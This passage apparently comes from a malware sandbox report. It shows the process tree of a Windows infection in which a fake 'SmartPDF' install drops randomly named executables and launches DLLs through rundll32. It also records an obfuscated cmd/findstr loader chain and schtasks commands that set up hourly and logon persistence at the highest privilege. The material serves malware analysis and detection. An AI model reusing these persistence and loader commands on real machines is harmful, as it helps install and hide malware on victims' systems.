C:\Users\Admin\Documents\idwkJRUA8cLBWOfMxb7eprQt.exe"C:\Users\Admin\Documents\idwkJRUA8cLBWOfMxb7eprQt.exe"8⤵PID:5520
-
C:\Users\Admin\AppData\Roaming\4959586.exe"C:\Users\Admin\AppData\Roaming\4959586.exe"9⤵PID:3104
-
-
C:\Users\Admin\AppData\Roaming\5999637.exe"C:\Users\Admin\AppData\Roaming\5999637.exe"9⤵PID:8708
-
-
C:\Users\Admin\AppData\Roaming\4700879.exe"C:\Users\Admin\AppData\Roaming\4700879.exe"9⤵PID:10540
-
-
C:\Users\Admin\AppData\Roaming\8024772.exe"C:\Users\Admin\AppData\Roaming\8024772.exe"9⤵PID:7236
-
-
C:\Users\Admin\AppData\Roaming\1942397.exe"C:\Users\Admin\AppData\Roaming\1942397.exe"9⤵PID:1556
-
-
-
C:\Users\Admin\Documents\mOkS2fPghVajrGbr_PEZz0Zk.exe"C:\Users\Admin\Documents\mOkS2fPghVajrGbr_PEZz0Zk.exe"8⤵PID:7196
-
-
C:\Users\Admin\Documents\gew_rWXEBTnluLZByB5c7XN2.exe"C:\Users\Admin\Documents\gew_rWXEBTnluLZByB5c7XN2.exe"8⤵PID:3484
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:9388
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:9716
-
-
-
C:\Users\Admin\Documents\CxbOyMKdeoUVqXb21TCyMecK.exe"C:\Users\Admin\Documents\CxbOyMKdeoUVqXb21TCyMecK.exe"8⤵PID:7444
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe"C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe"8⤵PID:7764
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:9176
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:10916
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:1304
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:11188
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:10376
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:10792
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:11628
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:12208
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:12380
-
-
C:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exeC:\Users\Admin\Documents\JGEktY_6RMz3qDviZQJLKA4p.exe9⤵PID:14424
-
-
-
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"5⤵PID:5848
-
C:\Users\Admin\AppData\Local\Temp\tmp370A_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp370A_tmp.exe"6⤵PID:4488
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe7⤵PID:4136
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Pei.xll7⤵PID:4108
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:7892
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^HlGEvpOWJOEhLjtMCMDsxiaRDGubGurupaMHjGXUgfrcGybsXUFbdIsmSOwQrdfCLnrzmbAVPJrtrXlnpOAMBGPBqjObFuRXZBJowtRmxKIHEjcVEDHgPDwyIBahIedISyy$" Passa.xll9⤵PID:7744
-
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
PID:8300
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comTra.exe.com o9⤵PID:8292
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o10⤵PID:5528
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o11⤵PID:10924
-
-
-
-
-
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"5⤵PID:4888
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe" -a6⤵PID:5828
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"5⤵PID:5972
-
C:\Users\Admin\AppData\Roaming\8005952.exe"C:\Users\Admin\AppData\Roaming\8005952.exe"6⤵PID:5172
-
-
C:\Users\Admin\AppData\Roaming\2999334.exe"C:\Users\Admin\AppData\Roaming\2999334.exe"6⤵PID:5772
-
-
C:\Users\Admin\AppData\Roaming\4151054.exe"C:\Users\Admin\AppData\Roaming\4151054.exe"6⤵PID:1220
-
-
C:\Users\Admin\AppData\Roaming\5154669.exe"C:\Users\Admin\AppData\Roaming\5154669.exe"6⤵PID:4944
-
-
C:\Users\Admin\AppData\Roaming\6541626.exe"C:\Users\Admin\AppData\Roaming\6541626.exe"6⤵PID:6644
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"5⤵PID:5968
-
-
-
-
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv d6W8+0fiW0aD30yIigB9rA.0.21⤵PID:4192
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵PID:3048
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 772 -ip 7721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2896
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1884
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4212 -ip 42121⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3300
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3592 -ip 35921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2228
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if "-poRsuYEMryiLi"== "" for %m in ("C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" ) do taskkill /iM "%~NXm" -F1⤵PID:1792
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1436 -ip 14361⤵PID:5956
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵PID:1180
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 4602⤵
- Program crash
PID:1944
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 4602⤵
- Program crash
PID:4488
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2012
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1180 -ip 11801⤵PID:7036
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4844 -ip 48441⤵PID:6592
-
C:\Users\Admin\AppData\Local\Temp\2101.exeC:\Users\Admin\AppData\Local\Temp\2101.exe1⤵PID:6912
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6912 -s 2402⤵
- Program crash
PID:8052
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 7228 -ip 72281⤵PID:8012
-
C:\Users\Admin\AppData\Local\Temp\D0CA.exeC:\Users\Admin\AppData\Local\Temp\D0CA.exe1⤵PID:7956
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6872 -ip 68721⤵PID:7572
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 580 -p 5796 -ip 57961⤵PID:7380
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵PID:7228
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7228 -s 4482⤵
- Program crash
PID:8036
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7228 -s 4482⤵
- Program crash
PID:4592
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 6912 -ip 69121⤵PID:3952
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:5656
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 7948 -ip 79481⤵PID:7324
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 7188 -ip 71881⤵PID:7856
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:6568
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7188
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:5556
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1772
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7300
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:7360
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4632
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:7868
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5144
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 6936 -ip 69361⤵PID:8464
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 8912 -ip 89121⤵PID:8052
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 7948 -ip 79481⤵PID:7376
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5784 -ip 57841⤵PID:6148
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 8264 -ip 82641⤵PID:9144
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 7644 -ip 76441⤵PID:7200
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2688 -ip 26881⤵PID:7616
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 5796 -ip 57961⤵PID:9428
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 6552 -ip 65521⤵PID:8304
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 9364 -ip 93641⤵PID:9324
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 1308 -ip 13081⤵PID:10064
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /D /T1⤵PID:7780
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 5000 -ip 50001⤵PID:9188
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 10376 -ip 103761⤵PID:11556